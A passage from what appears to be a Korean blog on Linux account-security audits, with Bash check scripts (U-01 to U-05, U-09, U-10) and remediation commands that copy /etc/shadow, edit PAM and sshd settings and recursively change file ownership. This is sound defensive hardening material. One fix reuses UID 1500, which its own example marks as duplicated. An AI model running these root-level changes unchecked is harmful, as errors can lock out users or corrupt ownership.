/etc/passwd에 존재하는 GID가 /etc/group에 존재하지 않는 경우 계정과 그룹 간의 관리 관계가 불명확해질 수 있다.

U-09 스크립트는 /etc/passwd의 각 계정 GID를 /etc/group과 비교하여 존재하지 않는 GID를 사용하는 계정을 탐지한다.

② 자동 진단 스크립트 분석

# U-09 점검 시작 코드 정의
CODE "[ U-09 ] 계정이 존재하지 않는 GID 금지"

# 고아 GID 보유 계정 목록 변수 초기화
ORPHAN_GID_ACCOUNTS=""

# /etc/passwd를 한 줄씩 읽어 사용자명과 GID 파싱
while IFS=: read -r user _ _ gid _; do
    # /etc/group 내 3번째 필드(GID)와 일치하는 그룹이 존재하는지 검증
    if ! grep -q -E "^[^:]*:[^:]*:$gid:" /etc/group; then
        ORPHAN_GID_ACCOUNTS="$ORPHAN_GID_ACCOUNTS $user($gid)"
    fi
done < /etc/passwd

# 고아 GID 발견 여부에 따른 결과 판정
if [ -z "$ORPHAN_GID_ACCOUNTS" ]; then
    OK "모든 계정이 유효한 GID를 사용하고 있습니다." "/etc/passwd에 등록된 모든 사용자의 GID가 /etc/group에 존재함."
else
    WARN "그룹 파일(/etc/group)에 존재하지 않는 GID를 사용하는 계정이 있습니다." "고아(Orphan) GID 사용 계정: [ $ORPHAN_GID_ACCOUNTS ]"
fi

# U-09 점검 종료 처리
FINISH "[ U-09 ] 점검완료"

③ 스크립트는 어떻게 동작하는가?

스크립트는 /etc/passwd를 한 줄씩 읽으면서 다음 정보를 추출한다.

사용자명 : GID

그리고 해당 GID가 /etc/group의 세 번째 필드에 존재하는지 검색한다.

예를 들어 /etc/passwd에 다음과 같은 계정이 있다고 가정한다.

testuser:x:1001:1550:/home/testuser:/bin/bash

이때 /etc/group에 GID 1550을 사용하는 그룹이 존재하지 않으면 해당 계정을 고아 GID 계정으로 분류한다.

최종적으로 다음과 같이 판정한다.

고아 GID 계정 없음 → [양호]
고아 GID 계정 존재 → [취약]

④ 수동 진단 및 설정 검증 절차

# 시스템 내 모든 계정의 GID 유효성 수동 대조
awk -F: '{print $1, $4}' /etc/passwd | while read -r user gid; do
    grep -q -E "^[^:]*:[^:]*:$gid:" /etc/group || echo "고아 GID 발견: $user (GID: $gid)"
done

자동화 결과에서 특정 계정이 발견되면 해당 계정의 실제 업무 목적과 기존 그룹 구성을 함께 확인한다.

⑤ 안전한 조치 및 원복 절차

# 1. 패스워드 및 그룹 파일 백업
cp -p /etc/passwd /etc/passwd.bak_$(date +%Y%m%d)
cp -p /etc/group /etc/group.bak_$(date +%Y%m%d)

# 2. 계정의 기본 GID를 정상 그룹으로 재할당
usermod -g [유효한그룹명또는GID] [해당계정]

단순히 GID를 변경하기 전에 해당 계정이 소유하고 있는 파일과 디렉터리의 그룹 소유권도 함께 검토해야 한다.

2.5. [U-10] 동일한 UID 금지

① 점검 목적 및 개요

리눅스 시스템에서 실제 권한 판단은 계정명보다 UID를 기준으로 이루어진다.

따라서 서로 다른 계정이 동일한 UID를 사용하는 경우 파일 소유권이 동일한 사용자로 인식될 수 있으며, 감사 로그에서도 실제 계정을 명확하게 구분하기 어려워질 수 있다.

U-10 스크립트는 /etc/passwd의 UID를 추출하여 중복되는 값을 탐지한다.

② 자동 진단 스크립트 분석

# U-10 점검 시작 코드 정의
CODE "[ U-10 ] 동일한 UID 금지"

# /etc/passwd의 3번째 필드(UID)만 추출하여 정렬 후 중복 값 탐지
DUP_UID=$(awk -F: '{print $3}' /etc/passwd | sort | uniq -d | xargs)

# 중복 UID 존재 여부에 따른 결과 판정
if [ -z "$DUP_UID" ]; then
    OK "중복된 UID를 사용하는 계정이 없습니다." "모든 사용자가 고유한 UID를 할당받음."
else
    WARN "중복된 UID가 존재하여 권한 충돌 위험이 있습니다." "중복 발견된 UID: [ $DUP_UID ]"
fi

# U-10 점검 종료 처리
FINISH "[ U-10 ] 점검완료"

③ 스크립트는 어떻게 동작하는가?

U-10은 /etc/passwd의 세 번째 필드인 UID만 추출한다.

awk -F: '{print $3}' /etc/passwd

이후 sort와 uniq -d를 이용하여 중복된 UID를 찾는다.

예를 들어 다음과 같은 계정이 존재한다고 가정한다.

user01:x:1500:1500:/home/user01:/bin/bash
user02:x:1500:1501:/home/user02:/bin/bash

두 계정 모두 UID 1500을 사용하므로 1500이 중복 UID로 탐지된다.

최종 판정은 다음과 같다.

중복 UID 없음 → [양호]
중복 UID 존재 → [취약]

④ 수동 진단 및 설정 검증 절차

# 중복된 UID 번호 추출
awk -F: '{print $3}' /etc/passwd | sort | uniq -d | while read -r uid; do
    grep -E "^[^:]*:[^:]*:$uid:" /etc/passwd
done

중복 UID가 발견되면 해당 UID를 사용하는 계정을 모두 확인하고, 업무상 동일 UID가 필요한 구성인지 여부를 먼저 확인해야 한다.

⑤ 안전한 조치 및 원복 절차

# 1. 파일 백업
cp -p /etc/passwd /etc/passwd.bak_$(date +%Y%m%d)

# 2. 중복 계정의 UID를 미사용 번호(예: 1500)로 수정
usermod -u 1500 [수정대상계정]

# 3. 기존 소유 파일들의 소유권 동기화
find / -user [기존UID] -exec chown -h [수정대상계정] {} + 2>/dev/null

UID 변경은 기존 파일의 소유권과 직접 연결되므로 계정의 홈 디렉터리뿐 아니라 해당 UID가 소유하고 있는 파일의 위치를 함께 확인해야 한다.

3. 스크립트 한계점 및 예외 처리

현재 U-06~U-10 자동화 스크립트는 주로 다음과 같은 로컬 설정 파일을 기준으로 정적 검사를 수행한다.

/etc/pam.d/su
/etc/passwd
/etc/group

따라서 실제 운영환경에서는 다음과 같은 예외가 발생할 수 있다.

3.1. PAM 설정 구조 차이

U-06은 /etc/pam.d/su에 직접 존재하는 pam_wheel.so 설정을 검사한다.

배포판 또는 시스템 구성에 따라 PAM 설정이 다른 파일이나 Include 구조로 구성되어 있다면 현재 스크립트가 실제 적용 정책을 완전히 반영하지 못할 수 있다.

따라서 자동 진단 결과가 [양호]이더라도 실제 PAM 적용 구조를 함께 확인하는 것이 필요하다.

3.2. 시스템 계정 목록의 차이

U-07은 모든 시스템 계정을 자동으로 식별하는 방식이 아니라 스크립트에 지정된 계정 목록을 대상으로 검사한다.

따라서 운영환경에서 별도의 애플리케이션 계정이나 배포판별 시스템 계정이 추가되어 있는 경우 해당 계정은 현재 스크립트 검사 대상에서 제외될 수 있다.

3.3. 관리자 그룹의 업무상 필요성은 자동 판단할 수 없음

U-08은 자동으로 양호/취약을 결정하지 않는다.

관리자 그룹에 계정이 있다는 사실만으로 취약하다고 판단할 수 없으며, 해당 계정이 실제 관리자 업무를 수행하기 위해 필요한 계정인지 확인해야 한다.

따라서 U-08은 자동 수집과 수동 검토를 결합하는 방식으로 운영하는 것이 현재 스크립트의 목적에 맞다.

3.4. 중앙 인증 환경

LDAP, SSSD, Winbind 등 중앙 인증 시스템을 사용하는 환경에서는 로컬 /etc/passwd, /etc/group만으로 모든 계정과 그룹 정보를 확인하기 어려울 수 있다.

이러한 환경에서는 getent을 활용하여 시스템에서 실제 조회되는 계정 및 그룹 정보를 확인하는 방법을 추가로 검토할 수 있다.

# 계정 정보 조회
getent passwd

# 그룹 정보 조회
getent group

# 관리자 그룹 구성원 확인
getent group wheel
getent group root

3.5. UID/GID 변경 시 파일 소유권 영향

U-09와 U-10은 단순히 /etc/passwd 또는 /etc/group의 값을 변경하는 것으로 끝나지 않는다.

GID 또는 UID를 변경하면 기존 파일의 소유권과 실제 계정의 식별자가 달라질 수 있으므로 변경 전에 대상 계정이 소유한 파일과 디렉터리를 확인해야 한다.

특히 운영 서버의 시스템 계정이나 애플리케이션 계정은 서비스 실행에 사용될 수 있으므로 변경 전에 서비스 영향도를 검토해야 한다.

4. U-06~U-10 자동화 스크립트 판정 기준 정리

점검코드	스크립트가 확인하는 핵심 값	[양호] 조건	[취약] 조건	[정보] 조건
U-06	/etc/pam.d/su의 pam_wheel.so	pam_wheel.so 활성화	설정 없음 또는 주석 처리	/etc/pam.d/su 없음
U-07	지정된 시스템 계정의 로그인 쉘	로그인 가능한 쉘 없음	로그인 가능한 쉘 발견	해당 없음
U-08	root, wheel 그룹 구성원	자동 판정하지 않음	자동 판정하지 않음	관리자 그룹 목록 출력 후 수동 검토
U-09	/etc/passwd GID ↔ /etc/group GID	모든 GID가 그룹에 존재	존재하지 않는 GID 발견	해당 없음
U-10	/etc/passwd UID 중복	중복 UID 없음	중복 UID 발견	해당 없음

이 표는 실제 스크립트를 사용하면서 결과를 빠르게 해석하기 위한 요약표로 활용할 수 있다.

5. 자동화 스크립트를 활용한 점검 순서

U-06~U-10을 실제 서버에서 점검할 때는 다음 순서로 확인하는 것을 권장한다.

Step 1. 자동 진단 실행

자동화 스크립트를 실행하여 각 항목의 [양호], [취약], [정보] 결과를 먼저 수집한다.

Step 2. [취약] 항목 원인 확인

단순히 취약 결과만 확인하지 않고 스크립트가 출력한 계정명, UID, GID, 설정 파일 및 그룹 구성원을 확인한다.

Step 3. [정보] 항목 수동 점검

특히 U-06의 PAM 파일 미존재, U-08의 관리자 그룹 구성원 등 자동화 스크립트가 최종 판단하지 않는 항목을 별도로 확인한다.

Step 4. 설정 파일 백업

변경 전에 /etc/passwd, /etc/group, /etc/pam.d/su 등 대상 파일을 백업한다.

Step 5. 조치 후 재진단

설정을 변경한 후 동일한 자동화 스크립트를 다시 실행하여 조치 결과를 확인한다.

Step 6. 서비스 영향 여부 확인

UID/GID 변경 또는 PAM 설정 변경과 같이 시스템 동작에 직접 영향을 줄 수 있는 작업은 관련 서비스와 로그인 기능을 별도로 확인한다.

주의사항

본 포스팅의 스크립트 및 조치 방법은 Linux 시스템의 계정 및 권한 관리 보안점검과 보안 강화를 목적으로 작성되었다. Linux 배포판, 버전, 설치된 서비스 및 인증 구성에 따라 설정 파일과 적용 방식이 다를 수 있다.

특히 PAM 설정, 관리자 그룹, 사용자 계정의 로그인 쉘 및 UID/GID를 변경하면 정상적인 로그인이나 서비스 실행, 파일 접근 권한에 영향을 줄 수 있으므로 운영 서버에 적용하기 전에 반드시 테스트 환경에서 검증한 후 적용해야 한다.

계정 또는 그룹 정보를 변경하기 전에는 관련 설정 파일을 백업하고, 해당 계정이 시스템 서비스나 애플리케이션에서 사용되고 있는지 확인해야 한다. 변경 후에는 자동 진단 스크립트를 다시 실행하여 조치 결과와 서비스 정상 동작 여부를 함께 확인하는 것이 필요하다.

함께 보면 좋은 글

Linux 보안취약점 점검 자동화 스크립트 공통 함수 및 환경 설정

Linux 보안취약점 점검 스크립트에서 공통으로 사용하는 함수와 환경 설정에 대한 내용은 별도의 글에서 확인할 수 있다.

자동화 스크립트 공통 함수 및 환경 설정

Linux 서버 계정 관리 보안점검 U-01~U-05 | Bash 자동화 스크립트 포함

보안실무자J — Fri, 4 Sep 2026 14:50:26 +0900

리눅스 서버 보안점검에서 계정 관리는 가장 기본적이면서도 중요한 영역이다.

root 원격 접속 제한, 비밀번호 정책, 로그인 실패 시 계정 잠금, /etc/passwd와 /etc/shadow 보호, UID 0 계정 관리가 제대로 적용되어 있지 않으면 관리자 권한 탈취나 계정 공격으로 이어질 수 있다.

이 글에서는 Linux 서버의 계정 관리 관련 보안점검 항목 U-01 ~ U-05를 대상으로 실제 서버에서 바로 실행할 수 있는 Bash 자동화 점검 스크립트를 제공한다.

각 스크립트는 단순히 설정 파일의 존재 여부만 확인하는 것이 아니라 주요 설정값을 읽어 기준과 비교하고, 점검 결과를 [양호], [취약], [정보] 형태로 확인할 수 있도록 구성했다.

이 글의 핵심은 자동화 스크립트다.

아래 스크립트는 필요한 경우 그대로 복사하여 테스트 환경에서 실행할 수 있다.
각 스크립트에는 동작을 이해할 수 있도록 주요 라인에 주석을 작성했으며, 스크립트 아래에는 전체적인 동작 과정도 별도로 설명한다.

1. U-01 ~ U-05 점검 항목

점검코드	점검 항목	주요 점검 대상	주요 확인 내용
U-01	root 계정 원격 접속 제한	/etc/ssh/sshd_config, /etc/securetty	SSH/Telnet을 통한 root 직접 접속 제한
U-02	비밀번호 관리정책 설정	/etc/login.defs, /etc/security/pwquality.conf	비밀번호 기간, 최소 길이, 복잡도
U-03	계정 잠금 임계값 설정	/etc/pam.d/system-auth, /etc/pam.d/common-auth	로그인 실패 횟수에 따른 계정 잠금
U-04	비밀번호 파일 보호	/etc/passwd, /etc/shadow	비밀번호 정보의 shadow 분리
U-05	root 이외의 UID 0 금지	/etc/passwd	UID 0 계정 존재 여부

2. U-01 root 계정 원격 접속 제한

2.1 점검 목적

root 계정은 Linux 시스템에서 최고 권한을 가지므로 원격에서 root 계정으로 직접 로그인할 수 있도록 허용하면 비밀번호 공격의 직접적인 대상이 될 수 있다.

따라서 일반적으로 원격에서는 일반 계정으로 접속한 후 필요한 경우 sudo 등의 방법으로 관리자 권한을 획득하도록 구성하는 것이 목적이다.

U-01 스크립트에서는 크게 다음 세 가지를 확인한다.

Telnet 서비스가 실행되고 있는지
/etc/securetty에서 Telnet을 통한 root 접근이 허용되는지
SSH의 PermitRootLogin 설정이 어떻게 되어 있는지

2.2 자동화 점검 스크립트

아래 스크립트는 U-01 점검에 사용하는 전체 코드다.

# U-01 점검 대상 식별 및 변수 초기화
CODE "[ U-01 ] root 계정 원격 접속 제한"

TELNET_SAFE="FALSE"; SSH_SAFE="FALSE"; REASON_TELNET=""; REASON_SSH=""

# systemctl 명령어를 통해 Telnet 서비스 활성화 여부 확인
if command -v systemctl >/dev/null 2>&1; then
    if systemctl is-active --quiet telnet.socket 2>/dev/null || systemctl is-active --quiet telnet 2>/dev/null; then
        IS_TELNET_RUNNING="TRUE"
    fi
fi

# Telnet 데몬 구동 여부에 따른 /etc/securetty pts 가상 터미널 허용 여부 판정
if [[ "$IS_TELNET_RUNNING" == "TRUE" ]]; then
    # securetty 파일 내 가상 터미널(pts/n) 설정이 활성화되어 있는지 점검
    if [ -f /etc/securetty ] && grep -E -q "^[[:space:]]*pts/[0-9]+" /etc/securetty; then
        REASON_TELNET="Telnet 서비스가 동작 중이며, /etc/securetty에 pts(가상 터미널) 접근이 허용되어 있음."
    else
        TELNET_SAFE="TRUE"
        REASON_TELNET="Telnet 서비스가 동작 중이나, /etc/securetty에서 pts 접근을 차단함."
    fi
else
    TELNET_SAFE="TRUE"
    REASON_TELNET="Telnet 서비스가 비활성화되어 있거나 설치되지 않음."
fi

# SSH 설정 파일 내 PermitRootLogin 파라미터 점검
if [ -f /etc/ssh/sshd_config ]; then
    # 주석 처리되지 않은 최종 PermitRootLogin 값 추출
    STATUSSSH=$(grep -i -E "^[[:space:]]*PermitRootLogin" /etc/ssh/sshd_config | tail -n 1 | awk '{print $2}')
    if [[ -z "$STATUSSSH" ]]; then
        REASON_SSH="PermitRootLogin 설정이 없거나 주석 처리됨 (기본값 허용 위험)."
    elif [[ "$STATUSSSH" == "yes" ]]; then
        REASON_SSH="PermitRootLogin 값이 'yes'로 설정되어 직접 접속이 허용됨."
    elif [[ "$STATUSSSH" == "no" || "$STATUSSSH" == "prohibit-password" || "$STATUSSSH" == "without-password" ]]; then
        SSH_SAFE="TRUE"
        REASON_SSH="PermitRootLogin 값이 '$STATUSSSH'로 설정되어 직접 접속 차단됨."
    else
        REASON_SSH="PermitRootLogin 값이 '$STATUSSSH'로 알 수 없는 설정값임."
    fi
else
    REASON_SSH="/etc/ssh/sshd_config 파일을 찾을 수 없음."
fi

# Telnet과 SSH의 보안 안전성 결합 판정
if [[ "$TELNET_SAFE" == "TRUE" && "$SSH_SAFE" == "TRUE" ]]; then
    OK "원격 서비스(Telnet, SSH)를 통한 root 직접 접속이 차단되어 있습니다." "- Telnet: $REASON_TELNET\n  => 판단 사유: - SSH: $REASON_SSH"
else
    WARN "root 계정 원격 접속이 허용될 수 있는 설정이 존재합니다." "- Telnet: $REASON_TELNET\n  => 판단 사유: - SSH: $REASON_SSH"
fi
FINISH "[ U-01 ] 점검완료"

2.3 스크립트는 어떻게 동작하는가?

① Telnet 서비스 확인

systemctl is-active를 사용하여 telnet.socket 또는 telnet 서비스가 실행 중인지 확인한다.

Telnet 서비스가 실행되지 않는 경우 Telnet을 통한 root 원격 접속 위험은 없는 것으로 판단한다.

② /etc/securetty 확인

Telnet이 실행 중인 경우 /etc/securetty 파일에서 pts/0, pts/1과 같은 가상 터미널 설정을 확인한다.

pts 접근이 허용되어 있으면 root의 Telnet 접속이 가능할 수 있으므로 주의가 필요하다.

③ SSH PermitRootLogin 확인

다음 명령으로 설정값을 추출한다.

grep -i -E "^[[:space:]]*PermitRootLogin" /etc/ssh/sshd_config

그리고 마지막 설정값을 가져와 yes, no 등의 값에 따라 판단한다.

④ 최종 결과 결정

Telnet과 SSH가 모두 안전한 상태일 경우 [양호]로 판단하고, 둘 중 하나라도 위험한 설정이 발견되면 [취약] 결과를 출력한다.

2.4 취약 시 조치

설정 파일 백업

cp -p /etc/ssh/sshd_config /etc/ssh/sshd_config.bak_$(date +%Y%m%d)
[ -f /etc/securetty ] && cp -p /etc/securetty /etc/securetty.bak_$(date +%Y%m%d)

SSH root 직접 접속 제한

sed -i -E 's/^[#[:space:]]*PermitRootLogin[[:space:]]+.*/PermitRootLogin no/' /etc/ssh/sshd_config

Telnet pts 접근 제한

[ -f /etc/securetty ] && sed -i -E 's/^[[:space:]]*(pts\/[0-9]+)/#\1/' /etc/securetty

설정 문법 확인 및 서비스 reload

설정을 변경한 경우 바로 서비스를 재시작하기보다는 먼저 문법을 확인하는 것이 안전하다.

sshd -t
systemctl reload sshd || systemctl reload ssh

3. U-02 비밀번호 관리정책 설정

3.1 점검 목적

비밀번호를 장기간 변경하지 않거나 지나치게 단순하게 설정할 경우 계정 공격에 취약해질 수 있다.

U-02에서는 다음 정책을 확인한다.

비밀번호 최대 사용 기간
비밀번호 최소 사용 기간
최소 비밀번호 길이
비밀번호 복잡도 설정

현재 스크립트에서는 다음 기준을 사용한다.

항목	스크립트 기준
최대 사용 기간	90일 이하
최소 사용 기간	1일 이상
최소 길이	8자리 이상
복잡도	pwquality.conf 설정 확인

3.2 자동화 점검 스크립트

# U-02 점검 대상 식별 및 정책 변수 초기화
CODE "[ U-02 ] 비밀번호 관리정책 설정 (2026년 통합 항목)"

MAX_DAYS_SAFE="FALSE"; MIN_DAYS_SAFE="FALSE"; MIN_LEN_SAFE="FALSE"; COMPLEXITY_SAFE="FALSE"
REASON_POLICY=""

# /etc/login.defs 파일 내 기본 패스워드 정책 파라미터 확인
if [ -f /etc/login.defs ]; then
    VAL_MAX=$(grep -i -E "^[[:space:]]*PASS_MAX_DAYS" /etc/login.defs | awk '{print $2}')
    VAL_MIN=$(grep -i -E "^[[:space:]]*PASS_MIN_DAYS" /etc/login.defs | awk '{print $2}')
    VAL_LEN=$(grep -i -E "^[[:space:]]*PASS_MIN_LEN" /etc/login.defs | awk '{print $2}')

    # 가이드라인 기준 비교 (최대 90일 이하, 최소 1일 이상, 길이 8자 이상)
    [[ -n "$VAL_MAX" && "$VAL_MAX" -le 90 ]] && MAX_DAYS_SAFE="TRUE"
    [[ -n "$VAL_MIN" && "$VAL_MIN" -ge 1 ]] && MIN_DAYS_SAFE="TRUE"
    [[ -n "$VAL_LEN" && "$VAL_LEN" -ge 8 ]] && MIN_LEN_SAFE="TRUE"
    
    REASON_POLICY="최대기간=${VAL_MAX:-없음}일(90이하 양호), 최소기간=${VAL_MIN:-없음}일(1이상 양호), 최소길이=${VAL_LEN:-없음}자리(8이상 양호)"
fi

# /etc/security/pwquality.conf 복잡도 모듈 설정 점검
PWQUAL_CONF="/etc/security/pwquality.conf"
if [ -f "$PWQUAL_CONF" ]; then
    # 문자 종류 수(minclass) 또는 각 문자군 가중치(credit) 파라미터 점검
    if grep -E -q "^[[:space:]]*minclass[[:space:]]*=[[:space:]]*[3-4]" "$PWQUAL_CONF" || grep -E -q "^[[:space:]]*[a-z]*credit" "$PWQUAL_CONF"; then
        COMPLEXITY_SAFE="TRUE"
        REASON_POLICY="$REASON_POLICY, 복잡도=pwquality.conf에 설정됨"
    fi
fi

if [[ "$COMPLEXITY_SAFE" == "FALSE" ]]; then
    REASON_POLICY="$REASON_POLICY, 복잡도=설정확인불가(취약)"
fi

# 모든 기준 충족 여부 최종 판정
if [[ "$MAX_DAYS_SAFE" == "TRUE" && "$MIN_DAYS_SAFE" == "TRUE" && "$MIN_LEN_SAFE" == "TRUE" && "$COMPLEXITY_SAFE" == "TRUE" ]]; then
    OK "비밀번호 정책(기간, 길이, 복잡도)이 모두 기준에 맞게 설정되었습니다." "$REASON_POLICY"
else
    WARN "비밀번호 정책 중 기준에 미달하는 항목이 존재합니다." "$REASON_POLICY"
fi
FINISH "[ U-02 ] 점검완료"

3.3 스크립트는 어떻게 동작하는가?

① /etc/login.defs 확인

다음 세 가지 값을 추출한다.

PASS_MAX_DAYS
PASS_MIN_DAYS
PASS_MIN_LEN

추출한 값은 각각 스크립트 기준과 비교한다.

예를 들어:

PASS_MAX_DAYS <= 90
PASS_MIN_DAYS >= 1
PASS_MIN_LEN  >= 8

조건을 만족하면 각각의 안전 상태 변수를 TRUE로 변경한다.

② pwquality.conf 확인

비밀번호 복잡도는 /etc/security/pwquality.conf에서 minclass 또는 credit 관련 설정을 검색한다.

③ 전체 정책 종합 판정

기간, 최소 길이, 복잡도 조건이 모두 만족되어야 최종 [양호]가 출력된다.

하나라도 기준을 충족하지 못하면 [취약]으로 출력한다.

3.4 취약 시 조치

설정 파일 백업

cp -p /etc/login.defs /etc/login.defs.bak_$(date +%Y%m%d)
[ -f /etc/security/pwquality.conf ] && cp -p /etc/security/pwquality.conf /etc/security/pwquality.conf.bak_$(date +%Y%m%d)

/etc/login.defs 설정

PASS_MAX_DAYS   90
PASS_MIN_DAYS   1
PASS_MIN_LEN    8
PASS_WARN_AGE   7

/etc/security/pwquality.conf 설정

minlen = 8
minclass = 3
dcredit = -1
ucredit = -1
lcredit = -1
ocredit = -1

기존 계정에 적용

/etc/login.defs는 신규 계정의 기본 정책에 영향을 줄 수 있으므로 기존 계정에 즉시 적용하려면 별도의 계정 정책 변경이 필요하다.

chage -M 90 -m 1 -W 7 [사용자계정명]

4. U-03 계정 잠금 임계값 설정

4.1 점검 목적

반복적인 로그인 실패를 허용하면 비밀번호 무차별 대입 공격이 계속될 수 있다.

따라서 일정 횟수 이상 인증에 실패하면 계정을 잠그는 정책을 적용하여 반복적인 인증 시도를 제한할 필요가 있다.

U-03 스크립트에서는 PAM 설정 파일을 찾아 pam_tally2 또는 pam_faillock 모듈의 deny 값을 확인한다.

4.2 자동화 점검 스크립트

# U-03 점검 대상 식별 및 PAM 설정 파일 탐색
CODE "[ U-03 ] 계정 잠금 임계값 설정"

PAM_AUTH=""
[ -f /etc/pam.d/system-auth ] && PAM_AUTH="/etc/pam.d/system-auth"
[ -f /etc/pam.d/common-auth ] && PAM_AUTH="/etc/pam.d/common-auth"

if [ -n "$PAM_AUTH" ]; then
    # pam_tally2 또는 pam_faillock 모듈의 deny 파라미터 값 추출
    DENY_VAL=$(grep -E "^[[:space:]]*auth" "$PAM_AUTH" | grep -E "pam_tally2\.so|pam_faillock\.so" | grep -o -E "deny=[0-9]+" | head -1 | cut -d= -f2)
    
    # 5회 이하 잠금 설정 여부 검증
    if [ -n "$DENY_VAL" ]; then
        if [ "$DENY_VAL" -le 5 ]; then
            OK "계정 잠금 임계값이 안전하게 설정되어 있습니다." "인증 파일($PAM_AUTH)에서 임계값(deny)이 ${DENY_VAL}회로 설정됨 (5회 이하 양호)."
        else
            WARN "계정 잠금 임계값이 가이드 기준을 초과했습니다." "인증 파일($PAM_AUTH)에서 임계값(deny)이 ${DENY_VAL}회로 설정됨 (5회 이하 권장)."
        fi
    else
        WARN "계정 잠금 모듈은 존재하나 임계값(deny) 설정이 없습니다." "$PAM_AUTH 파일 내 모듈에 'deny=값' 옵션 누락."
    fi
else
    INFO "PAM 인증 파일을 찾을 수 없어 수동 점검이 필요합니다." "OS 표준 인증 설정 파일 경로 확인 불가."
fi
FINISH "[ U-03 ] 점검완료"

4.3 스크립트는 어떻게 동작하는가?

① PAM 인증 설정 파일 탐색

먼저 다음 파일의 존재 여부를 확인한다.

/etc/pam.d/system-auth
/etc/pam.d/common-auth

파일이 존재하면 해당 파일을 점검 대상으로 지정한다.

② 인증 모듈 확인

다음 PAM 모듈을 검색한다.

pam_tally2.so
pam_faillock.so

그리고 설정에서 다음과 같은 값을 찾는다.

deny=5

③ 기준과 비교

deny 값이 5 이하라면 [양호], 5보다 크면 [취약]으로 판단한다.

deny 설정을 찾지 못하면 계정 잠금 정책이 제대로 설정되어 있는지 확인할 수 없으므로 [취약]으로 처리한다.

PAM 인증 파일 자체를 찾지 못하면 [정보]를 출력하여 별도 수동 점검이 필요함을 알린다.

4.4 취약 시 조치

설정 파일 백업

cp -p /etc/pam.d/system-auth /etc/pam.d/system-auth.bak_$(date +%Y%m%d) 2>/dev/null
cp -p /etc/pam.d/password-auth /etc/pam.d/password-auth.bak_$(date +%Y%m%d) 2>/dev/null
cp -p /etc/pam.d/common-auth /etc/pam.d/common-auth.bak_$(date +%Y%m%d) 2>/dev/null

RHEL 8/9 및 Rocky Linux

pam_faillock을 사용하는 환경에서는 다음과 같이 설정할 수 있다.

# /etc/security/faillock.conf

deny = 5
unlock_time = 1200
fail_interval = 900
even_deny_root

RHEL 7 / CentOS 7

auth        required      pam_faillock.so preauth silent audit deny=5 unlock_time=1200
auth        [default=die] pam_faillock.so authfail audit deny=5 unlock_time=1200
account     required      pam_faillock.so

Ubuntu / Debian

auth    required    pam_faillock.so preauth silent deny=5 unlock_time=1200
auth    [default=die] pam_faillock.so authfail deny=5 unlock_time=1200

계정 잠금 상태 확인 및 해제

faillock --user [사용자계정]
faillock --user [사용자계정] --reset

PAM 설정은 잘못 수정하면 정상적인 계정도 로그인할 수 없게 될 수 있다. 특히 운영 서버에서는 현재 적용 중인 PAM 구성과 배포판별 설정 방식을 먼저 확인한 후 변경해야 한다.

5. U-04 비밀번호 파일 보호

5.1 점검 목적

Linux에서는 사용자 계정 정보가 /etc/passwd에 저장되고, 비밀번호 해시 정보는 일반적으로 /etc/shadow에서 관리한다.

U-04에서는 /etc/shadow가 존재하는지 확인하고 /etc/passwd의 두 번째 필드가 적절하게 분리되어 있는지 확인한다.

5.2 자동화 점검 스크립트

# U-04 점검 대상 식별 및 shadow 파일 존재 유무 검증
CODE "[ U-04 ] 비밀번호 파일 보호"

if [ -f /etc/shadow ]; then
    # /etc/passwd 파일의 두 번째 필드가 'x' 또는 '*'가 아닌 비인가 계정 식별
    WEAK_PASSWD=$(awk -F: '$2!="x" && $2!="*" {print $1}' /etc/passwd | xargs)
    if [ -z "$WEAK_PASSWD" ]; then
        OK "비밀번호가 shadow 파일로 안전하게 분리 및 암호화되어 있습니다." "/etc/passwd의 두 번째 필드가 모두 'x' 또는 '*' 임."
    else
        WARN "비밀번호가 평문으로 저장된 계정이 존재합니다." "/etc/passwd에 암호화되지 않은 필드를 가진 계정 발견: [ $WEAK_PASSWD ]"
    fi
else
    WARN "/etc/shadow 파일이 존재하지 않습니다." "시스템이 섀도우 패스워드를 사용하지 않아 비밀번호 해시 노출 위험."
fi
FINISH "[ U-04 ] 점검완료"

5.3 스크립트는 어떻게 동작하는가?

① /etc/shadow 존재 여부 확인

[ -f /etc/shadow ]

를 통해 shadow 파일의 존재 여부를 확인한다.

② /etc/passwd의 두 번째 필드 확인

/etc/passwd는 다음과 같은 구조로 구성된다.

계정명:비밀번호필드:UID:GID:설명:홈디렉터리:로그인쉘

스크립트에서는 awk -F:를 이용하여 두 번째 필드를 확인한다.

awk -F: '$2!="x" && $2!="*" {print $1}' /etc/passwd

두 번째 필드가 x 또는 *가 아닌 계정을 추출하여 확인한다.

5.4 취약 시 조치

설정 파일 백업

cp -p /etc/passwd /etc/passwd.bak_$(date +%Y%m%d)
cp -p /etc/shadow /etc/shadow.bak_$(date +%Y%m%d)

Shadow 패스워드 시스템 변환

pwconv

파일 권한 확인

chmod 644 /etc/passwd
chmod 000 /etc/shadow || chmod 400 /etc/shadow

파일 권한 변경 역시 운영 환경의 배포판 및 기존 보안정책을 확인한 후 적용해야 한다.

6. U-05 root 이외의 UID가 0인 계정 금지

6.1 점검 목적

Linux에서는 계정명보다 UID를 기준으로 권한을 판단한다.

UID가 0인 계정은 root와 동일한 최고 권한을 가지므로 root 이외의 계정에 UID 0이 부여되어 있다면 관리자 권한을 가진 계정이 추가로 존재하는 상황이 된다.

따라서 /etc/passwd에서 UID가 0이면서 계정명이 root가 아닌 계정을 찾아낸다.

6.2 자동화 점검 스크립트

# U-05 점검 대상 식별 및 root 이외의 UID 0 계정 탐색
CODE "[ U-05 ] root 이외의 UID가 '0' 금지"

# /etc/passwd 파일의 3번째 필드(UID)가 0이면서 계정명이 'root'가 아닌 항목 필터링
UID_0_ACCOUNTS=$(awk -F: '$3==0 && $1!="root" {print $1}' /etc/passwd | xargs)

if [ -z "$UID_0_ACCOUNTS" ]; then
    OK "root 이외에 UID가 0인 계정이 없습니다." "/etc/passwd에서 UID 0번은 root 계정뿐임."
else
    WARN "root 이외에 UID가 0인(관리자 권한) 계정이 존재합니다." "발견된 계정 목록: [ $UID_0_ACCOUNTS ]"
fi
FINISH "[ U-05 ] 점검완료"

6.3 스크립트는 어떻게 동작하는가?

핵심은 /etc/passwd의 세 번째 필드인 UID를 검색하는 것이다.

awk -F: '$3==0 && $1!="root" {print $1}' /etc/passwd

조건은 다음과 같다.

$3 == 0

UID가 0이고,

$1 != "root"

계정명이 root가 아닌 경우를 찾는다.

결과가 없으면 root 외의 UID 0 계정이 없으므로 [양호]를 출력한다.

계정이 발견되면 해당 계정명을 출력하면서 [취약]으로 판단한다.

6.4 취약 시 조치

/etc/passwd 백업

cp -p /etc/passwd /etc/passwd.bak_$(date +%Y%m%d)

불필요하거나 비인가된 계정 삭제

